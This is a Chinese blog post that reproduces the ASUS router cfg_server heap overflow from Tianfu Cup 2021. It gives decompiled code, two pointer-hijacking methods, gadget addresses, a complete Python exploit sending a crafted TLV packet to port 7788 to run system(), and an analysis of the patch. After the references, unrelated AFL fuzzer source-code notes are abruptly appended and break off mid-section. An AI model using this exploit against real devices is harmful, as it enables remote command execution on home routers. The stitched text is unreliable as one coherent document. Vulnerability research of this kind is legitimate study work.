0%

前言

漏洞分析大作业需要分析一个堆溢出,正好想起来21年天府杯攻破华硕所利用的堆溢出一直没有复现,于是就复现了一下,并记录于此。

环境准备

我手里有华硕的一个真机,不过是TUF-AX5400,型号是3.0.0.4.386_46061。这个版本中堆溢出漏洞已被修复,并且官网也无法下载到这个系列的存在漏洞的旧版本,于是我对cfg_server进行了patch,使其可以正常走到漏洞点,上传至设备中手动启动。

漏洞分析

漏洞存在于cfg_server中,这个程序会监听7788端口。接收的数据包的格式类似TLV,即(Type-Length-Value),不过多了一个check字段来检查数据合法性。会根据Type,来选择相对应的处理函数。

Type0x28时,会进入cm_processREQ_GROUPID函数,这个函数中存在如下调用链cm_packetProcess->aes_decrypt,来解密接收到的数据。整数溢出漏洞就出现在aes_decrypt中(当然也有很多其他Type所对应的函数会调用这个函数)。它的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
char *__fastcall aes_decrypt(int key, int a2, unsigned int length, _DWORD *a4)
{
...
ctx = EVP_CIPHER_CTX_new();
if ( !ctx )
{
printf("%s(%d):Failed to EVP_CIPHER_CTX_new() !!\n", "aes_decrypt", 768);
return 0;
}
v9 = EVP_aes_256_ecb();
v10 = (char *)EVP_DecryptInit_ex(ctx, v9, 0, key, 0);
if ( v10 )
{
*a4 = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + length;
v12 = (char *)malloc(v11);
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
out_data_ptr = v10;
for ( i = length; ; i -= 0x10 )
{
in_data_ptr = a2 + length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, 16) )
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out_data_ptr += tmp_out_len[0];
*a4 += tmp_out_len[0];
}
if ( i )
{
if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, i) )
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 811);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out_data_ptr += tmp_out_len[0];
*a4 += tmp_out_len[0];
}
if ( !EVP_DecryptFinal_ex(ctx, out_data_ptr, tmp_out_len) )
{
printf("%s(%d):Failed to EVP_DecryptFinal_ex()!!\n", "aes_decrypt", 822);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
*a4 += tmp_out_len[0];
}
...
}
...
EVP_CIPHER_CTX_free(ctx);
return v10;
}

首先调用EVP_CIPHER_CTX_newctx结构体分配内存。下面就是对数据进行aes解密的过程。解密前会为数据分配内存,分配的大小是通过EVP_CIPHER_CTX_block_size(ctx) + length计算得出的,但是下面解密的时候循环次数又是由length控制。这里的length可以被我们控制,并且经过调试可以得知EVP_CIPHER_CTX_block_size(ctx)的值是0x10。如果我们控制length=0xffffffff就可以导致整数溢出。使得malloc在分配一块较小内存的同时,会拷贝很长的数据到堆上,从而导致堆溢出。检查check字段合法性的函数定义如下。

1
2
3
4
5
6
7
8
9
10
11
unsigned int __fastcall check(unsigned int result, char *a2, int a3)
{
char v3; // t1

while ( --a3 >= 0 )
{
v3 = *a2++;
result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
}
return result;
}

我们控制length=0xffffffff,由于小于0,则会直接返回,也就是我们把check字段设置为0即可通过数据合法性检查。

漏洞利用

可以溢出那么就寻找结构体指针,尝试控制程序执行流。参考了@CataLpa师傅文章@CQ师傅文章。知道了有这两个可以劫持的地方。

首先看一下我们所涉及到的两个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef struct evp_cipher_ctx_st
{
const EVP_CIPHER *cipher;
ENGINE *engine;
int encrypt;
int buf_len;
unsigned char oiv[EVP_MAX_IV_LENGTH];
unsigned char iv[EVP_MAX_IV_LENGTH];
unsigned char buf[EVP_MAX_BLOCK_LENGTH];
int num;
void *app_data;
int key_len;
unsigned long flags;
void *cipher_data;
int final_used;
int block_mask;
unsigned char final[EVP_MAX_BLOCK_LENGTH];
} EVP_CIPHER_CTX;

typedef struct evp_cipher_st
{
int nid;
int block_size;
int key_len;
int iv_len;
unsigned long flags;
int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc);
int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, unsigned int inl);
int (*cleanup)(EVP_CIPHER_CTX *);
int ctx_size;
int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr);
void *app_data;
}EVP_CIPHER;

方法一

一个是劫持EVP_CIPHER_CTX结构体中的cipher指针。在调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。如果我们可以伪造一个EVP_CIPHER结构体,就可以实现控制程序的执行流。这个加密指针的调用伪代码如下:

1
2
v12 = *ctx;
(*(int (__fastcall **)(_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len);

我们想要实现这样的劫持需要控制堆布局如下:

1
2
|   out_ptr    |
|EVP_CIPHER_CTX|

也就是我们解密后存放的数据的缓冲区被分配在EVP_CIPHER_CTX结构体缓冲区之前,这样就可以覆盖EVP_CIPHER_CTXcipher,实现对EVP_CIPHER的伪造,从而控制程序执行流。

方法二

还有一个是劫持解密函数中所涉及的指针。方法一说到调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。进一步调试可知do_cipher的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall do_cipher(int ctx, int out, int in, unsigned int in_len)
{
unsigned int v8; // r6
int cipher_data; // r0
unsigned int v10; // r9
int v11; // r7
int v12; // r4
int v13; // r0

v8 = EVP_CIPHER_CTX_block_size(ctx);
cipher_data = EVP_CIPHER_CTX_get_cipher_data(ctx);
if ( v8 <= in_len )
{
v10 = in_len - v8;
v11 = cipher_data;
v12 = in;
do
{
v13 = v12;
v12 += v8;
(*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11);
out += v8;
}
while ( v10 >= v12 - in );
}
return 1;
}

int __fastcall EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
return *(_DWORD *)(ctx + 0x60);
}

显而易见,这是先获取了EVP_CIPHER_CTX结构体偏移为0x60地方的cipher_data指针(指向某个结构体,用来存放加解密相关数据)。再调用这个结构体偏移为0xF8处的函数指针AES_decrypt。经过调试可知,cipher_data指针总是指向我们的堆上。如果我们可以覆盖cipher_data指针偏移为0xF8处的函数指针AES_decrypt。那么也可以实现程序执行流的控制。

我们想要实现这样的劫持需要控制堆布局如下:

1
2
3
4
5
6
7
|   out_ptr    |
| cipher_data |
|EVP_CIPHER_CTX|

|EVP_CIPHER_CTX|
| out_ptr |
| cipher_data |

即我们不能破坏EVP_CIPHER_CTX结构体,以免无法调用cipher中的do_cipher,同时需要可以覆盖到AES_decrypt

exp

我自己写exp的时候是尝试的第一种劫持方式。我构造出了如下布局:

1
2
3
► 0x1e6bc <aes_decrypt+260>  bl      #EVP_DecryptUpdate@plt     <EVP_DecryptUpdate@plt> 
ctx: 0xb6500978 —▸ 0xb6e9bb1c ◂— 0x1aa
out: 0xb6500760 ◂— 0x0

这里值得一提的是,虽然开了aslr基地址会变化,但是经过我调试发现堆基地址大概率是0xb6300000,0xb6400000,0xb6500000。(可能因为是多线程的缘故,会为新线程准备一个堆基地址,这个地址变化不大)。我就把0xb6500760当作了EVP_CIPHER结构体的开头。之后覆盖EVP_CIPHER_CTX结构体中的cipher0xb6500760即可。之后我又遇到了一个问题,就是在调用这个函数指针时,它的第一个参数是EVP_CIPHER_CTX结构体指针。由于我们每次只解密16字节,并且在覆盖cipher之后就无法继续解密,使得我这种布局只可以EVP_CIPHER_CTX结构体指针后面的控制4字节为我们想要执行的命令,这远远无法实现命令执行。经过替换gadget之后,最后也只构造出控制8字节的方式,可以勉强执行个reboot或者echo 1(:triumph:。

1
2
3
4
5
6
  0x528cc    mov    r0, r6
0x528d0 ldr r3, [r5, #4]
0x528d4 ldr r2, [sp, #0x38]
0x528d8 rev r1, r1
► 0x528dc blx r3 <system@plt>
command: 0xb6500970 ◂— 'echo 66'

而第二种劫持方式的第一个参数为in,应该可以控制相当长的数据。不过由于更改堆布局很麻烦,笔者也就没有进一步探究,感兴趣的读者可以自行尝试。

以下是笔者第一种劫持方式的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import socket
import struct
from Crypto.Cipher import AES


p32 = lambda x: struct.pack("<I", x)
p32b = lambda x: struct.pack(">I", x)


def aes_encode(data, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(data)


def make_tlv_request(_tlv_type, _tlv_len, _tlv_crc, _tlv_data=b""):
return p32b(_tlv_type) + p32b(_tlv_len) + p32b(_tlv_crc) + _tlv_data


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1", 7788))
tlv_type = 0x5
tlv_len = 0xffffffff
tlv_crc = 0
request = make_tlv_request(tlv_type, tlv_len, tlv_crc)
s.send(request)
s.close()

"""
.text:000528CC 06 00 A0 E1 MOV R0, R6
.text:000528D0 04 30 95 E5 LDR R3, [R5,#4]
.text:000528D4 38 20 9D E5 LDR R2, [SP,#0x38+arg_0]
.text:000528D8 31 1F BF E6 REV R1, R1
.text:000528DC 33 FF 2F E1 BLX R3
"""
gadget_add = 0x000528CC
system_plt = 0x00014754

# 0xb6500760: fake cipher

payload = p32(0x000001aa) + p32(0x00000010) + p32(0x00000020) + p32(0x00000000)
payload+= p32(0x00100000) + p32(0xb6e2f480) + p32(gadget_add) + p32(0x00000000)
payload+= p32(0x00000100) + p32(0x00000000) + p32(0x00000000)
payload = payload.ljust(0x210, b"a")
payload+= b"echo 66\x00"
payload = payload.ljust(0x218, b"a")
payload+= p32(0xb6500760)
payload+= p32(system_plt)
payload = payload.ljust(0x280, b"a")

tlv_type = 0x28
tlv_len = 0xffffffff
tlv_crc = 0
tlv_data = aes_encode(payload, b"12345678000000000000000000000000")
request = make_tlv_request(tlv_type, tlv_len, tlv_crc, tlv_data)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1", 7788))
s.sendall(request)
s.close()

补丁分析

1
2
3
4
5
6
7
8
9
10
if ( v15 <= recv_len )
{
tlv_type = *tlv_buf;
tlv_len = tlv_buf[1];
tlv_crc = tlv_buf[2];
if ( recv_len - 12 != bswap32(tlv_len) )
{
...
return ;

cm_packetProcess函数中,加入了对tlv_len的检查,即检查接收数据长度的减去12是否与tlv_len相等,不等则直接返回。这样就可以避免tlv_len被控制为一个很大的值,从而避免整数溢出。

参考链接

https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/

https://cq674350529.github.io/2023/08/05/Analyzing-the-Vulnerability-in-ASUS-Router-maybe-from-TFC2021/

afl-gcc

find-as

用来寻找as的路径。分别从环境变量AFL_PATHafl-gcc的路径(如果是绝对路径或相对路径调用afl-gcc),/usr/local/lib/afl三个地方寻找。如果找不到则报出相应错误。下列是我调试时打印出来的参数。

1
2
3
afl-gcc: find_as
argv0: afl-gcc
AFL_PATH: /usr/local/lib/afl

edit_params

用来对原生gcc进行一个封装,加上了一些参数并存放到cc_params中。如笔者使用afl-gcc -o test test.c对文件进行编译,则会被封装成如下代码。

1
2
3
4
5
6
7
8
9
10
11
gcc
-o
test
test.c
-B
/usr/local/lib/afl
-g
-O3
-funroll-loops
-D__AFL_COMPILER=1
-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1

afl-as

edit_params

对原生as进行封装,参数存放到as_params中。同时通过传入的参数设置一些变量的值,并且定义好modified_file。原本传入的命令和经过修改的命令如下。

1
2
3
4
5
6
argv                          as_params
/usr/local/lib/afl/as as
--64 --64
-o -o
/tmp/cc6ribB2.o /tmp/cc6ribB2.o
/tmp/ccBeRi60.s /tmp/.afl-165297-1701960501.s

最终主函数中也会运行这个命令。

add_instrumentation

尝试把input_file中的内容,进行插桩并放到modified_file中。打开文件后满足以下规则进行插桩。

  • !pass_thru,不是用来传送数据
  • !skip_intel,不是intel汇编
  • !skip_app,不是__asm__内联汇编
  • !skip_csect,不与当前架构不适配(比如在x64架构中遇到x86汇编)
  • instr_ok,在text段中
  • instrument_next,有时会把instrument_next置零使得不会进行插桩
  • line[0] == ‘\t’,此行开头要为\t
  • isalpha(line[1]),line[1]要是字母

或者遇到跳转指令且不是jmp时,也会插桩。

最后如果存在满足上述条件的地方,并进行了插桩,在最后则会根据架构插入main_payload_64或main_payload_32

总的来说就是遇到如下汇编时进行插桩。

1
2
3
function:   ——  函数入口
.L0 —— GCC分支跳转标签
.jnz fun —— 条件跳转

trampoline

比如x64程序中插入的代码如下,会调用__afl_maybe_log,且rcx的值是一个不超过1<<16的随机数。

1
2
3
4
5
6
7
8
9
10
"leaq -(128+24)(%%rsp), %%rsp\n"
"movq %%rdx, 0(%%rsp)\n"
"movq %%rcx, 8(%%rsp)\n"
"movq %%rax, 16(%%rsp)\n"
"movq $0x%08x, %%rcx\n"
"call __afl_maybe_log\n"
"movq 16(%%rsp), %%rax\n"
"movq 8(%%rsp), %%rcx\n"
"movq 0(%%rsp), %%rdx\n"
"leaq (128+24)(%%rsp), %%rsp\n"

__afl_maybe_log

检查共享内存(__afl_area_ptr)是否已经被设置,如果没被设置就调用__afl_setup进行初始化,设置过就调用__afl_store。

1
2
3
4
5
"  movq  __afl_area_ptr(%rip), %rdx\n"
" testq %rdx, %rdx\n"
" je __afl_setup\n"
"\n"
"__afl_store:\n"

__afl_setup

会检查__afl_setup_failure是否为0,也即检查之前__afl_setup是否调用失败,如果之前失败则跳转到__afl_return返回。否则再检查__afl_global_area_ptr是否为0,为0则跳转到__afl_setup_first进行初始化,否则把__afl_global_area_ptr赋值给__afl_area_ptr后,跳转到__afl_store。

1
2
3
4
5
6
7
"  cmpb $0, __afl_setup_failure(%rip)\n"
" jne __afl_return\n"
" movq __afl_global_area_ptr(%rip), %rdx\n"
" testq %rdx, %rdx\n"
" je __afl_setup_first\n"
" movq %rdx, __afl_area_ptr(%rip)\n"
" jmp __afl_store\n"

__afl_setup_first

用来保存寄存器并保证栈对齐。之后调用shmat获取共享内存地址存放到全局变量__afl_area_ptr及__afl_global_area_ptr中。执行完毕调用__afl_forkserver。

__afl_forkserver

向管道中写入4字节,来通知fuzz我们fork-server已经准备好。写入失败则会调用__afl_fork_resume。成功则调用__afl_fork_wait_loop。

1
2
3
4
5
6
7
8
9
10
"  pushq %rdx\n"
" pushq %rdx\n"
" movq $4, %rdx /* length */\n"
" leaq __afl_temp(%rip), %rsi /* data */\n"
" movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */\n"
CALL_L64("write")
" cmpq $4, %rax\n"
" jne __afl_fork_resume\n"
"\n"
"__afl_fork_wait_loop:\n"

__afl_fork_wait_loop

等待父进程从管道发送来的命令,并存放到__afl_temp中。读取失败则调用__afl_die,成功则调用fork。子进程中调用__afl_fork_resume,当前进程把子进程号记录到__afl_fork_pid后,再写入管道,并且等待子进程返回。等待子进程执行完毕,把子进程状态写入管道告知fuzz。再重新调用__afl_fork_wait_loop进行下一轮测试。

__afl_fork_resume

关闭管道描述符,恢复寄存器的值。调用__afl_store。

__afl_die

调用_exit

__afl_store

用来计算边的命中次数,RCX即当前边的id。首先计算rcx和更新__afl_prev_loc 。

  • rcx = rcx ^ __afl_prev_loc
  • __afl_prev_loc = __afl_prev_loc ^ rcx
  • __afl_prev_loc = __afl_prev_loc >> 1

之后把__afl_area_ptr[rcx]+1

1
2
3
4
5
6
7
8
9
10
11
#ifndef COVERAGE_ONLY
" xorq __afl_prev_loc(%rip), %rcx\n"
" xorq %rcx, __afl_prev_loc(%rip)\n"
" shrq $1, __afl_prev_loc(%rip)\n"
#endif /* ^!COVERAGE_ONLY */
"\n"
#ifdef SKIP_COUNTS
" orb $1, (%rdx, %rcx, 1)\n"
#else
" incb (%rdx, %rcx, 1)\n"
#endif /* ^SKIP_COUNTS */

afl-fuzz

setup_signal_handlers

注册必要的信号处理函数

check_asan_opts

读取环境变量ASAN_OPTIONSMSAN_OPTIONS并进行检查。

fix_up_sync

如果存在-M或-S,更改out_dir和sync_id。

save_cmdline

保存命令行参数到全局变量orig_cmdline中。

fix_up_banner

获取测试文件名

check_if_tty

检查是否在tty中运行,并记录在not_on_tty里。

get_core_count

获取cpu的核心数

bind_to_free_cpu

linux系统,如果存在空闲核心,就绑定到这个cpu上

check_crash_handling

检查crash的处理方式,执行echo core >/proc/sys/kernel/core_pattern,以防存在延迟。

setup_post

如果存在环境变量AFL_POST_LIBRARY,则会从其记录的动态链接库中获取函数afl_postprocess,并记录到全局函数指针post_handler中。这个函数指针会被common_fuzz_stuff调用,用来处理out_buf

setup_shm

用来初始化共享内存,设置SHM_ENV_VAR,和初始化virgin_bitsvirgin_tmoutvirgin_crash

  • 如果in_bitmap为空,就初始化virgin_bitsvirgin_tmoutvirgin_crash\xff
  • shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600); 分配共享内存,并把id存到shm_id里。
  • atexit(remove_shm); 注册处理函数在退出时删除共享内存。(这个atexit也就是ctf里所谓的“exit-hook”的一种。😀
  • setenv(SHM_ENV_VAR, shm_str, 1); 如果不是dumb_mode,设置SHM_ENV_VARshm_str
  • trace_bits = shmat(shm_id, NULL, 0); 启动对共享内存的访问。

init_count_class16

初始化count_class_lookup16,目的是提高count_class_lookup8的效率。先看一下count_class_lookup8定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
static const u8 count_class_lookup8[256] = {

[0] = 0,
[1] = 1,
[2] = 2,
[3] = 4,
[4 ... 7] = 8,
[8 ... 15] = 16,
[16 ... 31] = 32,
[32 ... 127] = 64,
[128 ... 255] = 128

};

count_class_lookup8用来对路径命中率做规整。比如有些时候A->B,出现了4次,有时候出现5次,这可能并不意味着出现新的路径。同时也为了减少因为命中次数不一样导致的区别。于是就定义了count_class_lookup8用来做一个规整。把4-7次都看作8次,以此类推。

AFL中进行规整的时候一次性读入2字节,于是出现了count_class_lookup16。

setup_dirs_fds

创建输出文件夹以及记录fd。

read_testcases

从输入文件夹里读取所有文件,并将其加入测试队列中。

  • nl_cnt = scandir(in_dir, &nl, NULL, alphasort); 记录文件数量和信息
  • 通过循环遍历所有文件
    • 通过文件属性,大小和名称过滤掉无效文件
    • add_to_queue(fn, st.st_size, passed_det); 通过筛选,则加入测试队列

add_to_queue

增加测试样例到队列中。

  • 新建一个queue_entry结构体以记录test case
  • 更新max_depth
  • 如果queue_top存在,则queue_top->next = q; queue_top = q;,否则q_prev100 = queue = queue_top = q;
  • queued_pathspending_not_fuzzed加1
  • 如果queued_paths % 100 = 0,则q_prev100->next_100 = q; q_prev100 = q;
  • 设置last_path_time = get_cur_time();

load_auto

加载自动生成的提取出来的词典token。从目标文件中读取内容,如果满足要求则调用maybe_add_auto(tmp, len);

maybe_add_auto

  • 遍历mem里的字节,当出现有字节和第一个字节相同时停止遍历。
  • 如果mem[0]==mem[1],则直接返回
  • 如果mem的长度为2,则将mem和interesting_16进行比较,出现相同则直接返回
  • 如果mem的长度为4,则将mem和interesting_32进行比较,出现相同则直接返回
  • mem和extras中现有的数据进行比较,如果出现与mem相同的片段则直接退出。
  • 设置auto_changed = 1;
  • 遍历a_extras,出现相同则a_extras[i].hit_cnt++;,否则把mem加入a_extras

pivot_inputs

in_dir里的testcase在out_dir/queue里创建hard link。遍历输入目录的所有文件名,判断是否符合命名规范,如果不符合则按照规范重新命名,之后创建硬链接。

load_extras

如果指定了extras_dir,那么从extras_dir里读取数据到extras里,并按照大小排序。

find_timeout

没有指定timeout_given时进入这个函数,设置timeout_given

detect_file_args

识别命令行参数中是否含有**@@,如果存在则替换为out_dir/.cur_input**。

setup_stdio_file

如果没有指定out_file,那么删除旧的并创建新的out_dir/.cur_input,并获取其fd存放到out_fd中。

check_binary

检查目标文件是否存在以及确保他不是一个shell script。并检查是否是完整的elf文件以及是否被插桩。

get_cur_time

毫秒级获取时间

perform_dry_run

执行测试用例,检查是否按照预期进行。

  • 获取环境变量AFL_SKIP_CRASHES
  • 遍历queue
    • 打开q->fname,并读取其内容。
    • 调用res = calibrate_case(argv, q, use_mem, 0, 1);
    • 如果stop_soon==1,则直接返回。
    • 如果res为crash_mode或者FAULT_NOBITS,则打印提示。
    • 根据错误类型抛出不同异常。
    • 如果q->var_behavior为真,说明该测试样例多次运行所覆盖的路径不同。

calibrate_case

测试输入样例是否会触发异常,以及检测新发现的路径样例的行为是否可变。

  • 如果q->exec_cksum为0,代表这个测试样例第一次运行,把first_run置为1。
  • 保持原来的stage_cur、stage_max、stage_name。
  • 如果测试样例不是来自queue,则use_tmout增大,且q->cal_failed++;。
  • 设置stage_name = “calibration”;,并且通过fast_cal来判断,stage_max是3还是CAL_CYCLES(默认8),即这个样例测试的次数。
  • 不是dumb mode,并且forkserver没有启动,则调用**init_forkserver(argv);**。
  • 如果不是第一次运行这个测试样例,则把trace_bits拷贝进first_trace
  • 开始calibrate stage
    • 如果不是第一次运行,在第一轮calibrate stage结束时,显示界面,展示执行结果。
    • 调用write_to_testcase(use_mem, q->len);,把测试内容记录到out_file中。
    • 调用run_target(argv, use_tmout);执行测试样例,结果保存在fault中。
    • 如果这是第一轮calibrate case,不是dumb mode,并且trace_bits没有记录到数据,则设置fault = FAULT_NOINST,跳转到abort_calibration。
    • 通过hash32(trace_bits, MAP_SIZE, HASH_CONST);计算出cksum
    • 如果q->exec_cksum != cksum,代表不是第一次运行,或者这个测试样例行为可变。
      • u8 hnb = has_new_bits(virgin_bits);
      • 如果hnb > new_bits,则new_bits = hnb。
      • 如果q->exec_cksum不为0,则代表不是第一次运行。
        • 如果var_bytes为空,并且first_trace[i] != trace_bits[i],则设置var_bytes[i] = 1,stage_max = CAL_CYCLES_LONG。
        • var_detected = 1;
      • 否则,代表是第一次运行。
        • 设置q->exec_cksum = cksum;
        • 拷贝trace_bitsfirst_trace
    • 计算时间和轮次,并计算一些信息
    • 如果new_bits == 2 && !q->has_new_cov,则设置q->has_new_cov = 1,并且queued_with_cov++。
    • 如果var_detected为1,则当前测试用例行为可变。调用mark_as_variable(q),并且queued_variable++。
    • 恢复stage值。
    • 如果不是第一次运行stage则调用show_stats,展示状态。

init_forkserver

初始化fork server

  • 建立状态管道st_pipe和控制管道ctl_pipe
  • fork出子进程
    • FORKSRV_FD重定向到ctl_pipe[0],把FORKSRV_FD+1重定向到**st_pipe[1]**。
    • 关闭一些问价描述符。
    • 调用execv(target_path, argv)。这里会执行我们之前插桩的程序,第一次执行时,会调用__afl_fork_wait_loop,以充当fork server
    • 如果失败,则*(u32*)trace_bits = EXEC_FAIL_SIG。
  • 父进程
    • 关闭ctl_pipe[0]和st_pipe[1]。
    • 等待fork server启动。
      • 能从**st_pipe[0]**读取到4字节即代表启动成功,超时则表示失败。
    • 子进程异常处理

has_new_bits

用来检查是否出现新路径以及是否边的命中次数发生变化。

  • 初始化currenttrace_bitsvirginvirgin_map,ret=0。
  • 8字节一组遍历trace_bits。如果**(*(u32*)current)不为0,并且(*(u32*)current & *(u32*)virgin)**不为0。则代表出现新的路径或者路径命中次数出现变化。
    • 如果ret<2。
      • 如果存在**(cur[i] && vir[i] == 0xff)**,那么设置ret=2,这代表出现新的路径。
    • *virgin &= ~*current;
  • 如果ret存在,并且virgin_map == virgin_bits,则设置bitmap_changed = 1
  • 返回ret

count_bytes

统计非零字节数

  • 每4字节一组遍历mem,u32* ptr = (u32*)mem,ret=0.
  • 将ptr 与0xff,0xff00,0xff0000,0xff000000,分别相与,如果非零,则ret++。
  • 返回ret,表示非零字节数。

run_target

用来fork出子进程进行fuzz测试。

  • 首先清空trace_bits(记录路径的共享内存)。
  • 如果是dumb mode或者no_forkserver非零。
    • fork出一个子进程,在关闭一系列文件描述符后,去执行**execv(target_path, argv)**。
  • 否则正常通过fork server来fork出一个进程进行fuzz。
    • 通过fsrv_ctl_fd写入4字节,来告诉fork server要开始fuzz。
    • 再通过fsrv_st_fd读取4字节,判断fork server是否成功fork出子进程。
  • AFL自己会等待fork出来的程序执行结束,并获取状态保存到status中。total_execs++。
  • 调用classify_counts((u64*)trace_bits)。
  • 根据status的值,返回fuzz执行状态。

classify_counts(u64* mem)

用来对trace_bits进行分类规整。

  • 8字节一组遍历trace_bits

    • 每次2字节进行规整。
    • 代码如下
    1
    2
    3
    4
    mem16[0] = count_class_lookup16[mem16[0]];
    mem16[1] = count_class_lookup16[mem16[1]];
    mem16[2] = count_class_lookup16[mem16[2]];
    mem16[3] = count_class_lookup16[mem16[3]];

update_bitmap_score

当发现新的路径时,判断触发新的路径的样例是否更加favorable,favorable的意思是当前路径是否包含最小的路径集合来遍历到bitmap中的所有位。

  • fav_factor = q->exec_us * q->len。
  • 遍历trace_bits,如果trace_bits[i]存在,则代表这里所指的路径已被覆盖。
    • 如果fav_factor > top_rated[i]->exec_us * top_rated[i]->len,则代表原来的更优,直接continue,去判断下一条路径。
    • 否则就说明这个新样例对于当前边更加favorable,–top_rated[i]->tc_ref,top_rated[i]->trace_mini = 0。
  • 替换top_rated[i],top_rated[i] = q,并且q->tc_ref++。
  • 如果q->trace_mini==0,则调用minimize_bits(q->trace_mini, trace_bits)。
  • score_changed = 1

minimize_bits

将描述边是否被覆盖到的以字节记录的trace_bits,转化为以bit记录的图。

cull_queue

用来精简队列

  • 如果是dumb mode,或者score_changed==0,那么就直接返回。
  • 设置score_changed=0,初始化temp_v[MAP_SIZE >> 3]为0xff。
  • 遍历queue队列,使得q->favored = 0。
  • 遍历top_rated次。
    • 如果top_rated[i]存在,并且temp_v[i >> 3] & (1 << (i & 7))存在。
      • 从temp_v中清除掉top_rated[i]所有覆盖到的边。
      • top_rated[i]->favored = 1,queued_favored++。
      • 如果top_rated[i]->was_fuzzed==0,则pending_favored++。
  • 遍历队列queue,调用mark_as_redundant(q, !q->favored)。

mark_as_redundant

标记冗余队列。

  • 如果state == q->fs_redundant,则直接返回。
  • 设置q->fs_redundant = state。
  • 构造路径fn=”out_dir/queue/.state/redundant_edges/q->fname”。
  • 对state进行判断。
    • state存在,则说明该队列冗余,创建文件fn。
    • state为空,则删除文件。

show_init_stats

初始化之后,显示一些信息,以及设置一些值。

find_start_position

用来查询开始队列的位置。

  • 如果resuming_fuzz==0,则直接退出。
  • 否则就找到fuzzer_stats文件,打开并找到cur_path,并设置为ret。
  • 如果ret >= queued_paths,则ret=0,返回ret。

write_stats_file

用来更新fuzzer_stats文件。

save_auto

用来自动保存生成的extras。

  • 如果auto_changed==0,则直接退出。
  • 打开”out_dir/queue/.state/auto_extras/auto_%06u”文件,并写入a_extras[i].data。

fuzz 主循环

fuzz的过程

  • 调用**cull_queue()**,精简队列。

  • 如果queue_cur==0,代表所有queue已被执行过。

    • 有以下设置

      1
      2
      3
      4
      queue_cycle++;
      current_entry = 0;
      cur_skipped_paths = 0;
      queue_cur = queue;
    • 调用show_stats,刷新界面。

  • 执行**skipped_fuzz = fuzz_one(use_argv)**。

fuzz_one

从queue中取出entry进行fuzz,成功返回0,否则返回1。

  • 如果pending_favored非0,并且当前queue已经被fuzz过,并且queue_cur->favored==0,则有99%的概率直接返回1。
  • 如果pending_favored为0,并且不是dumb mode,并且queue_cur->favored==0,queued_paths > 10。
    • 如果queue_cycle > 1,并且queue没有被fuzz过,则有75%的概率直接返回1。
    • 如果queue已经被fuzz过,则有95%的概率直接返回1。
  • 打开测试样例文件,并且设置len = queue_cur->len,将文件映射到内存中,地址复制给orig_in,in_buf。

CALIBRATION阶段

  • 如果queue_cur->cal_failed存在,并且queue_cur->cal_failed<3,则再次调用calibrate_case(argv, queue_cur, in_buf, queue_cycle - 1, 0)。

TRIMMING阶段

  • 如果不是dumb mode,并且queue没有被修剪过,则调用**trim_case(argv, queue_cur, in_buf)**。

  • len = queue_cur->len,调用memcpy(out_buf, in_buf, len)。

PERFORMANCE SCORE阶段

  • perf_score = calculate_score(queue_cur)。
  • 如果skip_deterministic存在,或者queue已经被fuzz过,或者queue_cur->passed_det存在,则跳转去havoc_stage。

SIMPLE BITFLIP阶段

bit翻转策略。

  • 定义了如下宏,这个宏的作用是,翻转_ar的(_bf) >> 3偏移处字节的,第7-((_bf) & 7)比特。

    1
    2
    3
    4
    5
    #define FLIP_BIT(_ar, _b) do { \
    u8* _arf = (u8*)(_ar); \
    u32 _bf = (_b); \
    _arf[(_bf) >> 3] ^= (128 >> ((_bf) & 7)); \
    } while (0)
  • bitflip 1/1阶段,逐步翻转每一个字节的每一比特,并且调用common_fuzz_stuff(argv, out_buf, len),之后会恢复这个比特。

  • 并且如果在bitflip 1/1阶段,连续翻转几个字节时,路径覆盖与原路径不一样,并且这几个新覆盖的路径一样,则AFL猜测这几个字节为token,并调用maybe_add_auto(a_collect, a_len)。

  • bitflip 2/1阶段,连续翻转2bit。

  • bitflip 4/1阶段,连续翻转4bit。

